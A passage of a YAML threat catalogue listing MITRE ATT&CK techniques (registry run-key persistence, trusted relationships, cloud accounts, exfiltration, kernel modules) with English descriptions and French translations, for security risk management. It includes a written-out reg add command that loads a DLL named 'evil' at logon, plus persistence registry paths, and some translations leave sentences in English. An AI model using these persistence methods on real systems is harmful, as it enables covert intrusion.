      Registry run key entries can reference programs directly or list them as a dependency.(Citation:
      Microsoft Run Key) For example, it is possible to load a DLL at logon using
      a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend
      /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)


      Placing a program within a startup folder will also cause that program to execute
      when a user logs in. There is a startup folder location for individual user
      accounts as well as a system-wide startup folder that will be checked regardless
      of which user account logs in. The startup folder path for the current user
      is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>.
      The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start
      Menu\Programs\StartUp</code>.


      The following Registry keys can be used to set startup folder items for persistence:


      * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User
      Shell Folders</code>

      * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
      Folders</code>

      * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell
      Folders</code>

      * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User
      Shell Folders</code>


      The following Registry keys can control automatic startup of services during
      boot:


      * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>

      * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>

      * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

      * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>


      Using policy settings to specify startup programs creates corresponding values
      in either of two Registry keys:


      * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

      * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>


      Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows
      NT\CurrentVersion\Windows</code> run automatically for the currently logged-on
      user.


      By default, the multistring <code>BootExecute</code> value of the registry key
      <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code>
      is set to <code>autocheck autochk *</code>. This value causes Windows, at startup,
      to check the file-system integrity of the hard disks if the system has been
      shut down abnormally. Adversaries can add other programs or processes to this
      registry value which will automatically launch at boot.


      Adversaries can use these configuration locations to execute malware, such as
      remote access tools, to maintain persistence through system reboots. Adversaries
      may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make
      the Registry entries look as if they are associated with legitimate programs.

      https://attack.mitre.org/techniques/T1547/001'
    translations:
      fr:
        name: "Cl\xE9s d\u2019ex\xE9cution du registre/dossier de d\xE9marrage"
        description: "Les adversaires peuvent obtenir la persistance en ajoutant un\
          \ programme \xE0 un dossier de d\xE9marrage ou en le r\xE9f\xE9ren\xE7ant\
          \ avec une cl\xE9 d'ex\xE9cution du Registre. L'ajout d'une entr\xE9e aux\
          \ \xAB cl\xE9s d'ex\xE9cution \xBB dans le registre ou le dossier de d\xE9\
          marrage entra\xEEne l'ex\xE9cution du programme r\xE9f\xE9renc\xE9 lorsqu'un\
          \ utilisateur se connecte.(Citation : Microsoft Run Key) Ces programmes\
          \ sont ex\xE9cut\xE9s dans le contexte de l'utilisateur et disposent du\
          \ niveau d'autorisation associ\xE9 au compte.\n\nLes cl\xE9s d'ex\xE9cution\
          \ suivantes sont cr\xE9\xE9es par d\xE9faut sur les syst\xE8mes Windows\
          \ :\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\\
          Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\\
          RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\\
          CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\\
          Windows\\CurrentVersion\\RunOnce</code>\n\nLes cl\xE9s d'ex\xE9cution peuvent\
          \ exister sous plusieurs ruches (Citation : Microsoft Wow6432Node 2018)\
          \ (Citation : Malwarebytes Wow6432Node 2016) La cl\xE9 HKEY_LOCAL_MACHINE\\\
          Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx est \xE9galement\
          \ disponible, mais elle n'est pas cr\xE9\xE9e par d\xE9faut sur Windows\
          \ Vista et les versions plus r\xE9centes. Les entr\xE9es de cl\xE9 d'ex\xE9\
          cution du registre peuvent faire r\xE9f\xE9rence \xE0 des programmes directement\
          \ ou les lister en tant que d\xE9pendance. (Citation : Microsoft Run Key)\
          \ Par exemple, il est possible de charger une DLL \xE0 l'ouverture de session\
          \ en utilisant une cl\xE9 \xAB \xBBDepend\xAB \xBB avec RunOnceEx : reg\
          \ add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\\
          Depend /v 1 /d \xAB \xBBC:\\tempevil[.]dll\xAB \xBB (Citation : Oddvar Moe\
          \ RunOnceEx Mar 2018)\n\n\nPlacing a program within a startup folder will\
          \ also cause that program to execute when a user logs in. There is a startup\
          \ folder location for individual user accounts as well as a system-wide\
          \ startup folder that will be checked regardless of which user account logs\
          \ in. Le chemin du dossier de d\xE9marrage de l'utilisateur actuel est le\
          \ suivant: <code>C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\\
          Start Menu\\Programs\\Startup</code>. Le chemin du dossier de d\xE9marrage\
          \ pour tous les utilisateurs est le suivant: <code>C:\\ProgramData\\Microsoft\\\
          Windows\\Start Menu\\Programs\\StartUp</code>.\n\n\nLes cl\xE9s de registre\
          \ suivantes peuvent \xEAtre utilis\xE9es pour d\xE9finir les \xE9l\xE9ments\
          \ du dossier de d\xE9marrage pour la persistance :\n\n* <code>HKEY_CURRENT_USER\\\
          Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\
          * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\\
          Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\\
          Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\\
          SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\
          \n\nLes cl\xE9s de registre suivantes peuvent contr\xF4ler le d\xE9marrage\
          \ automatique des services lors de l'amor\xE7age :\n\n* <code>HKEY_LOCAL_MACHINE\\\
          Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n*\
          \ <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\\
          RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\\
          Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\\
          Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\n\nL'utilisation\
          \ des param\xE8tres de strat\xE9gie pour sp\xE9cifier les programmes de\
          \ d\xE9marrage cr\xE9e des valeurs correspondantes dans l'une des deux cl\xE9\
          s du registre :\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\\
          CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\\
          Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\
          \n\nLes programmes r\xE9pertori\xE9s dans la valeur de chargement de la\
          \ cl\xE9 de registre <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\
          \ NT\\CurrentVersion\\Windows</code> s'ex\xE9cutent automatiquement pour\
          \ l'utilisateur actuellement connect\xE9.\n\nPar d\xE9faut, la valeur multistring\
          \ BootExecute de la cl\xE9 de registre HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\\
          Control\\Session Manager est d\xE9finie sur <code>autocheck autochk *</code>.\
          \ Cette valeur permet \xE0 Windows de v\xE9rifier, au d\xE9marrage, l'int\xE9\
          grit\xE9 du syst\xE8me de fichiers des disques durs si le syst\xE8me a \xE9\
          t\xE9 arr\xEAt\xE9 de mani\xE8re anormale. Les adversaires peuvent ajouter\
          \ d'autres programmes ou processus \xE0 cette valeur de registre qui se\
          \ lancera automatiquement au d\xE9marrage.\n\nLes adversaires peuvent utiliser\
          \ ces emplacements de configuration pour ex\xE9cuter des logiciels malveillants,\
          \ tels que des outils d'acc\xE8s \xE0 distance, afin de maintenir la persistance\
          \ \xE0 travers les red\xE9marrages du syst\xE8me. Les adversaires peuvent\
          \ \xE9galement utiliser le [Masquerading] (https://attack.mitre.org/techniques/T1036)\
          \ pour faire croire que les entr\xE9es du registre sont associ\xE9es \xE0\
          \ des programmes l\xE9gitimes.\nhttps://attack.mitre.org/techniques/T1547/001\""
  - urn: urn:intuitem:risk:threat:mitre-attack:t1199
    ref_id: T1199
    name: Trusted Relationship
    description: 'Adversaries may breach or otherwise leverage organizations who have
      access to intended victims. Access through trusted third party relationship
      abuses an existing connection that may not be protected or receives less scrutiny
      than standard mechanisms of gaining access to a network.


      Organizations often grant elevated access to second or third-party external
      providers in order to allow them to manage internal systems as well as cloud-based
      environments. Some examples of these relationships include IT services contractors,
      managed security providers, infrastructure contractors (e.g. HVAC, elevators,
      physical security). The third-party provider''s access may be intended to be
      limited to the infrastructure being maintained, but may exist on the same network
      as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      used by the other party for access to internal network systems may be compromised
      and used.(Citation: CISA IT Service Providers)


      In Office 365 environments, organizations may grant Microsoft partners or resellers
      delegated administrator permissions. By compromising a partner or reseller account,
      an adversary may be able to leverage existing delegated administrator relationships
      or send new delegated administrator offers to clients in order to gain administrative
      control over the victim tenant.(Citation: Office 365 Delegated Administration)

      https://attack.mitre.org/techniques/T1199'
    translations:
      fr:
        name: Relation de confiance
        description: "Les adversaires peuvent p\xE9n\xE9trer dans les organisations\
          \ qui ont acc\xE8s aux victimes vis\xE9es ou en tirer parti de toute autre\
          \ mani\xE8re. L\u2019acc\xE8s par le biais d\u2019une relation avec un tiers\
          \ de confiance abuse d\u2019une connexion existante qui n\u2019est peut-\xEA\
          tre pas prot\xE9g\xE9e ou fait l\u2019objet d\u2019un examen moins minutieux\
          \ que les m\xE9canismes standard d\u2019acc\xE8s \xE0 un r\xE9seau.\n\n\
          Les organisations accordent souvent un acc\xE8s \xE9lev\xE9 \xE0 des fournisseurs\
          \ externes tiers ou secondaires afin de leur permettre de g\xE9rer des syst\xE8\
          mes internes ainsi que des environnements bas\xE9s sur le cloud. Parmi ces\
          \ relations, mentionnons les entrepreneurs de services informatiques, les\
          \ fournisseurs de services de s\xE9curit\xE9 g\xE9r\xE9s, les entrepreneurs\
          \ en infrastructure (p. ex., CVC, ascenseurs, s\xE9curit\xE9 physique).\
          \ L\u2019acc\xE8s du fournisseur tiers peut \xEAtre destin\xE9 \xE0 \xEA\
          tre limit\xE9 \xE0 l\u2019infrastructure en cours de maintenance, mais peut\
          \ exister sur le m\xEAme r\xE9seau que le reste de l\u2019entreprise. En\
          \ tant que tels, les [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ utilis\xE9s par l\u2019autre partie pour acc\xE9der aux syst\xE8mes de\
          \ r\xE9seau internes peuvent \xEAtre compromis et utilis\xE9s. (Citation\
          \ : Fournisseurs de services informatiques de la CISA)\n\nDans les environnements\
          \ Office 365, les organisations peuvent accorder aux partenaires ou aux\
          \ revendeurs Microsoft des autorisations d\u2019administrateur d\xE9l\xE9\
          gu\xE9. En compromettant un compte partenaire ou revendeur, un adversaire\
          \ peut \xEAtre en mesure d\u2019exploiter les relations d\u2019administrateur\
          \ d\xE9l\xE9gu\xE9 existantes ou d\u2019envoyer de nouvelles offres d\u2019\
          administrateur d\xE9l\xE9gu\xE9 aux clients afin d\u2019obtenir un contr\xF4\
          le administratif sur le locataire victime. (R\xE9f\xE9rence : Administration\
          \ d\xE9l\xE9gu\xE9e d\u2019Office 365)\nhttps://attack.mitre.org/techniques/T1199"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1136.003
    ref_id: T1136.003
    name: Cloud Account
    description: 'Adversaries may create a cloud account to maintain access to victim
      systems. With a sufficient level of access, such accounts may be used to establish
      secondary credentialed access that does not require persistent remote access
      tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation:
      Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create
      IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure
      AD Users)


      In addition to user accounts, cloud accounts may be associated with services.
      Cloud providers handle the concept of service accounts in different ways. In
      Azure, service accounts include service principals and managed identities, which
      can be linked to various resources such as OAuth applications, serverless functions,
      and virtual machines in order to grant those resources permissions to perform
      various activities in the environment.(Citation: Microsoft Entra ID Service
      Principals) In GCP, service accounts can also be linked to specific resources,
      as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation:
      GCP Service Accounts) While AWS has no specific concept of service accounts,
      resources can be directly granted permission to assume roles.(Citation: AWS
      Instance Profiles)(Citation: AWS Lambda Execution Role)


      Adversaries may create accounts that only have access to specific cloud services,
      which can reduce the chance of detection.


      Once an adversary has created a cloud account, they can then manipulate that
      account to ensure persistence and allow access to additional resources - for
      example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001)
      or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).

      https://attack.mitre.org/techniques/T1136/003'
    translations:
      fr:
        name: Compte Cloud
        description: "Les adversaires peuvent cr\xE9er un compte cloud pour conserver\
          \ l\u2019acc\xE8s aux syst\xE8mes des victimes. Avec un niveau d\u2019acc\xE8\
          s suffisant, ces comptes peuvent \xEAtre utilis\xE9s pour \xE9tablir un\
          \ acc\xE8s secondaire accr\xE9dit\xE9 qui ne n\xE9cessite pas le d\xE9ploiement\
          \ d\u2019outils d\u2019acc\xE8s \xE0 distance persistants sur le syst\xE8\
          me. (Citation : R\xF4les d\u2019administrateur Microsoft O365)(Citation\
          \ : Microsoft Support O365 Ajouter un autre administrateur, octobre 2019)(citation\
          \ : AWS Create IAM User)(Citation : GCP Create Cloud Identity Users)(Citation\
          \ : Utilisateurs de Microsoft Azure AD)\n\nOutre les comptes d\u2019utilisateur,\
          \ les comptes cloud peuvent \xEAtre associ\xE9s \xE0 des services. Les fournisseurs\
          \ de cloud g\xE8rent la notion de comptes de service de diff\xE9rentes mani\xE8\
          res. Dans Azure, les comptes de service incluent des principaux de service\
          \ et des identit\xE9s manag\xE9es, qui peuvent \xEAtre li\xE9s \xE0 diverses\
          \ ressources telles que des applications OAuth, des fonctions serverless\
          \ et des machines virtuelles afin d\u2019accorder \xE0 ces ressources des\
          \ autorisations leur permettant d\u2019effectuer diverses activit\xE9s dans\
          \ l\u2019environnement. (Citation : Principaux du service Microsoft Entra\
          \ ID) Dans GCP, les comptes de service peuvent \xE9galement \xEAtre li\xE9\
          s \xE0 des ressources sp\xE9cifiques, ainsi qu\u2019\xEAtre emprunt\xE9\
          s par d\u2019autres comptes pour [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).\
          \ (Citation : Comptes de service GCP) Bien qu\u2019AWS n\u2019ait pas de\
          \ concept sp\xE9cifique de comptes de service, les ressources peuvent \xEA\
          tre directement autoris\xE9es \xE0 assumer des r\xF4les. (Citation : Profils\
          \ d\u2019instance AWS)(Citation : R\xF4le d\u2019ex\xE9cution AWS Lambda)\n\
          \nLes adversaires peuvent cr\xE9er des comptes qui n\u2019ont acc\xE8s qu\u2019\
          \xE0 des services cloud sp\xE9cifiques, ce qui peut r\xE9duire les risques\
          \ de d\xE9tection.\n\nUne fois qu\u2019un adversaire a cr\xE9\xE9 un compte\
          \ cloud, il peut manipuler ce compte pour garantir la persistance et autoriser\
          \ l\u2019acc\xE8s \xE0 des ressources suppl\xE9mentaires, par exemple, en\
          \ ajoutant des [Informations d\u2019identification cloud suppl\xE9mentaires](https://attack.mitre.org/techniques/T1098/001)\
          \ ou en attribuant des [R\xF4les cloud suppl\xE9mentaires](https://attack.mitre.org/techniques/T1098/003).\n\
          https://attack.mitre.org/techniques/T1136/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1069.001
    ref_id: T1069.001
    name: Local Groups
    description: 'Adversaries may attempt to find local system groups and permission
      settings. The knowledge of local system permission groups can help adversaries
      determine which groups exist and which users belong to a particular group. Adversaries
      may use this information to determine which users have elevated permissions,
      such as the users found within the local administrators group.


      Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039)
      utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code>
      on Linux can list local groups.

      https://attack.mitre.org/techniques/T1069/001'
    translations:
      fr:
        name: Groupes locaux
        description: "Les adversaires peuvent tenter de trouver des groupes de syst\xE8\
          mes locaux et des param\xE8tres d\u2019autorisation. La connaissance des\
          \ groupes d\u2019autorisations syst\xE8me locaux peut aider les adversaires\
          \ \xE0 d\xE9terminer quels groupes existent et quels utilisateurs appartiennent\
          \ \xE0 un groupe particulier. Les adversaires peuvent utiliser ces informations\
          \ pour d\xE9terminer quels utilisateurs disposent d\u2019autorisations \xE9\
          lev\xE9es, tels que les utilisateurs trouv\xE9s dans le groupe d\u2019administrateurs\
          \ locaux.\n\nDes commandes telles que <code>net localgroup</code> de l\u2019\
          utilitaire [Net](https://attack.mitre.org/software/S0039), <code>dscl .\
          \ -list /Groups</code> sous macOS et <code>groups</code> sous Linux peuvent\
          \ lister les groupes locaux.\nhttps://attack.mitre.org/techniques/T1069/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1593
    ref_id: T1593
    name: Search Open Websites/Domains
    description: 'Adversaries may search freely available websites and/or domains
      for information about victims that can be used during targeting. Information
      about victims may be available in various online sites, such as social media,
      new sites, or those hosting information about business operations such as hiring
      or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails
      Google Hacking)(Citation: ExploitDB GoogleHacking)


      Adversaries may search in different online sites depending on what information
      they seek to gather. Information from these sources may reveal opportunities
      for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)
      or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)
      or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or
      initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)
      or [Phishing](https://attack.mitre.org/techniques/T1566)).

      https://attack.mitre.org/techniques/T1593'
    translations:
      fr:
        name: Recherche de sites Web/domaines ouverts
        description: "Les adversaires peuvent rechercher des sites Web et/ou des domaines\
          \ librement disponibles pour trouver des informations sur les victimes qui\
          \ peuvent \xEAtre utilis\xE9es lors du ciblage. Des informations sur les\
          \ victimes peuvent \xEAtre disponibles sur divers sites en ligne, tels que\
          \ les m\xE9dias sociaux, les nouveaux sites ou ceux qui h\xE9bergent des\
          \ informations sur des op\xE9rations commerciales telles que l\u2019embauche\
          \ ou les contrats demand\xE9s/r\xE9compens\xE9s. (Citation : M\xE9dias sociaux\
          \ Cyware)(Citation\_: SecurityTrails Google Hacking)(Citation : ExploitDB\
          \ GoogleHacking)\n\nLes adversaires peuvent effectuer des recherches sur\
          \ diff\xE9rents sites en ligne en fonction des informations qu\u2019ils\
          \ cherchent \xE0 recueillir. Les informations provenant de ces sources peuvent\
          \ r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
          \ ou [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [\xC9tablissement\
          \ de comptes](https://attack.mitre.org/techniques/T1585) ou [Compromis](https://attack.mitre.org/techniques/T1586)),\
          \ et/ou d\u2019acc\xE8s initial (ex : [Externe distant Services](https://attack.mitre.org/techniques/T1133)\
          \ ou [Phishing](https://attack.mitre.org/techniques/T1566)).\nhttps://attack.mitre.org/techniques/T1593"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1098
    ref_id: T1098
    name: Account Manipulation
    description: "Adversaries may manipulate accounts to maintain and/or elevate access\
      \ to victim systems. Account manipulation may consist of any action that preserves\
      \ or modifies adversary access to a compromised account, such as modifying credentials\
      \ or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions\
      \ could also include account activity designed to subvert security policies,\
      \ such as performing iterative password updates to bypass password duration\
      \ policies and preserve the life of compromised credentials. \n\nIn order to\
      \ create or manipulate accounts, the adversary must already have sufficient\
      \ permissions on systems or the domain. However, account manipulation may also\
      \ lead to privilege escalation where modifications grant access to additional\
      \ roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\
      https://attack.mitre.org/techniques/T1098"
    translations:
      fr:
        name: Manipulation de compte
        description: "Les adversaires peuvent manipuler les comptes pour maintenir\
          \ et/ou am\xE9liorer l\u2019acc\xE8s aux syst\xE8mes des victimes. La manipulation\
          \ de compte peut consister en toute action qui pr\xE9serve ou modifie l\u2019\
          acc\xE8s de l\u2019adversaire \xE0 un compte compromis, telle que la modification\
          \ des informations d\u2019identification ou des groupes d\u2019autorisations.\
          \ (Citation : FireEye SMOKEDHAM, juin 2021) Ces actions peuvent \xE9galement\
          \ inclure une activit\xE9 de compte con\xE7ue pour contourner les strat\xE9\
          gies de s\xE9curit\xE9, telles que l\u2019ex\xE9cution de mises \xE0 jour\
          \ it\xE9ratives des mots de passe pour contourner les politiques de dur\xE9\
          e de mot de passe et pr\xE9server la dur\xE9e de vie des informations d\u2019\
          identification compromises. \n\nPour cr\xE9er ou manipuler des comptes,\
          \ l\u2019adversaire doit d\xE9j\xE0 disposer d\u2019autorisations suffisantes\
          \ sur les syst\xE8mes ou le domaine. Toutefois, la manipulation de compte\
          \ peut \xE9galement entra\xEEner une \xE9l\xE9vation de privil\xE8ges lorsque\
          \ des modifications accordent l\u2019acc\xE8s \xE0 des r\xF4les suppl\xE9\
          mentaires, \xE0 des autorisations ou \xE0 des [comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ \xE0 privil\xE8ges sup\xE9rieurs.\nhttps://attack.mitre.org/techniques/T1098"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1048
    ref_id: T1048
    name: Exfiltration Over Alternative Protocol
    description: "Adversaries may steal data by exfiltrating it over a different protocol\
      \ than that of the existing command and control channel. The data may also be\
      \ sent to an alternate network location from the main command and control server.\
      \  \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other\
      \ network protocol not being used as the main command and control channel. Adversaries\
      \ may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration\
      \ Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can\
      \ be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB\
      \ or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code>\
      \ may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data\
      \ from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS\
      \ and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub,\
      \ and AWS S3) support the direct download of files, emails, source code, and\
      \ other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).\n\
      https://attack.mitre.org/techniques/T1048"
    translations:
      fr:
        name: Exfiltration par un protocole alternatif
        description: "Les adversaires peuvent voler des donn\xE9es en les exfiltrant\
          \ via un protocole diff\xE9rent de celui du canal de commande et de contr\xF4\
          le existant. Les donn\xE9es peuvent \xE9galement \xEAtre envoy\xE9es \xE0\
          \ un autre emplacement r\xE9seau \xE0 partir du serveur de commande et de\
          \ contr\xF4le principal.  \n\nLes autres protocoles incluent FTP, SMTP,\
          \ HTTP/S, DNS, SMB ou tout autre protocole r\xE9seau n\u2019\xE9tant pas\
          \ utilis\xE9 comme canal de commande et de contr\xF4le principal. Les adversaires\
          \ peuvent \xE9galement choisir de chiffrer et/ou d\u2019obscurcir ces canaux\
          \ alternatifs. \n\n[Exfiltration par le biais d\u2019un protocole alternatif](https://attack.mitre.org/techniques/T1048)\
          \ peut \xEAtre effectu\xE9 \xE0 l\u2019aide de divers utilitaires courants\
          \ du syst\xE8me d\u2019exploitation tels que [Net](https://attack.mitre.org/software/S0039)/SMB\
          \ ou FTP. (Citation : Palo Alto OilRig octobre 2016) Sur macOS et Linux,\
          \ <code>curl</code> peut \xEAtre utilis\xE9 pour invoquer des protocoles\
          \ tels que HTTP/S ou FTP/S afin d\u2019exfiltrer des donn\xE9es d\u2019\
          un syst\xE8me. (Citation : 20 outils et techniques courants macOS)\n\nDe\
          \ nombreuses plateformes IaaS et SaaS (telles que Microsoft Exchange, Microsoft\
          \ SharePoint, GitHub et AWS S3) prennent en charge le t\xE9l\xE9chargement\
          \ direct de fichiers, d\u2019e-mails, de code source et d\u2019autres informations\
          \ sensibles via la console Web ou [Cloud API](https://attack.mitre.org/techniques/T1059/009).\n\
          https://attack.mitre.org/techniques/T1048"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.006
    ref_id: T1547.006
    name: Kernel Modules and Extensions
    description: "Adversaries may modify the kernel to automatically execute programs\
      \ on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can\
      \ be loaded and unloaded into the kernel upon demand. They extend the functionality\
      \ of the kernel without the need to reboot the system. For example, one type\
      \ of module is the device driver, which allows the kernel to access hardware\
      \ connected to the system.(Citation: Linux Kernel Programming)\_\n\nWhen used\
      \ maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014)\
      \ that run with the highest operating system privilege (Ring 0).(Citation: Linux\
      \ Kernel Module Programming Guide)\_Common features of LKM based rootkits include:\
      \ hiding itself, selective hiding of files, processes and network activity,\
      \ as well as log tampering, providing authenticated backdoors, and enabling\
      \ root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\
      \nKernel extensions, also called kext, are used in macOS to load functionality\
      \ onto a system similar to LKMs for Linux. Since the kernel is responsible for\
      \ enforcing security and the kernel extensions run as apart of the kernel, kexts\
      \ are not governed by macOS security policies. Kexts are loaded and unloaded\
      \ through <code>kextload</code> and <code>kextunload</code> commands. Kexts\
      \ need to be signed with a developer ID that is granted privileges by Apple\
      \ allowing it to sign Kernel extensions. Developers without these privileges\
      \ may still sign kexts but they will not load unless SIP is disabled. If SIP\
      \ is enabled, the kext signature is verified before being added to the AuxKC.(Citation:\
      \ System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel\
      \ extensions have been deprecated in favor of System Extensions. However, kexts\
      \ are still allowed as \"Legacy System Extensions\" since there is no System\
      \ Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension\
      \ Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003)\
      \ and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on\
      \ a system. Examples have been found in the wild, and there are some relevant\
      \ open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike\
      \ Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation:\
      \ RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension\
      \ Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)\nhttps://attack.mitre.org/techniques/T1547/006"
    translations:
      fr:
        name: Modules et extensions du noyau
        description: "Les adversaires peuvent modifier le noyau pour ex\xE9cuter automatiquement\
          \ des programmes au d\xE9marrage du syst\xE8me. Les modules de noyau chargeables\
          \ (LKM) sont des morceaux de code qui peuvent \xEAtre charg\xE9s et d\xE9\
          charg\xE9s dans le noyau \xE0 la demande. Ils \xE9tendent les fonctionnalit\xE9\
          s du noyau sans qu\u2019il soit n\xE9cessaire de red\xE9marrer le syst\xE8\
          me. Par exemple, un type de module est le pilote de p\xE9riph\xE9rique,\
          \ qui permet au noyau d\u2019acc\xE9der au mat\xE9riel connect\xE9 au syst\xE8\
          me. (Citation : Programmation du noyau Linux)\_\n\nLorsqu\u2019ils sont\
          \ utilis\xE9s \xE0 des fins malveillantes, les LKM peuvent \xEAtre un type\
          \ de [Rootkit](https://attack.mitre.org/techniques/T1014) en mode noyau\
          \ qui s\u2019ex\xE9cute avec les privil\xE8ges de syst\xE8me d\u2019exploitation\
          \ les plus \xE9lev\xE9s (anneau 0). (Citation : Guide de programmation du\
          \ module du noyau Linux)\_Les fonctionnalit\xE9s courantes des rootkits\
          \ bas\xE9s sur LKM incluent : la dissimulation, le masquage s\xE9lectif\
          \ des fichiers, des processus et de l\u2019activit\xE9 r\xE9seau, ainsi\
          \ que la falsification des journaux, la fourniture de portes d\xE9rob\xE9\
          es authentifi\xE9es et l\u2019activation de l\u2019acc\xE8s root aux utilisateurs\
          \ non privil\xE9gi\xE9s. (Citation : Pr\xE9sentation du rootkit iDefense)\n\
          \nLes extensions de noyau, \xE9galement appel\xE9es kext, sont utilis\xE9\
          es dans macOS pour charger des fonctionnalit\xE9s sur un syst\xE8me similaire\
          \ aux LKM pour Linux. \xC9tant donn\xE9 que le noyau est responsable de\
          \ l\u2019application de la s\xE9curit\xE9 et que les extensions du noyau\
          \ s\u2019ex\xE9cutent en tant que partie int\xE9grante du noyau, les extensions\
          \ de noyau ne sont pas r\xE9gies par les strat\xE9gies de s\xE9curit\xE9\
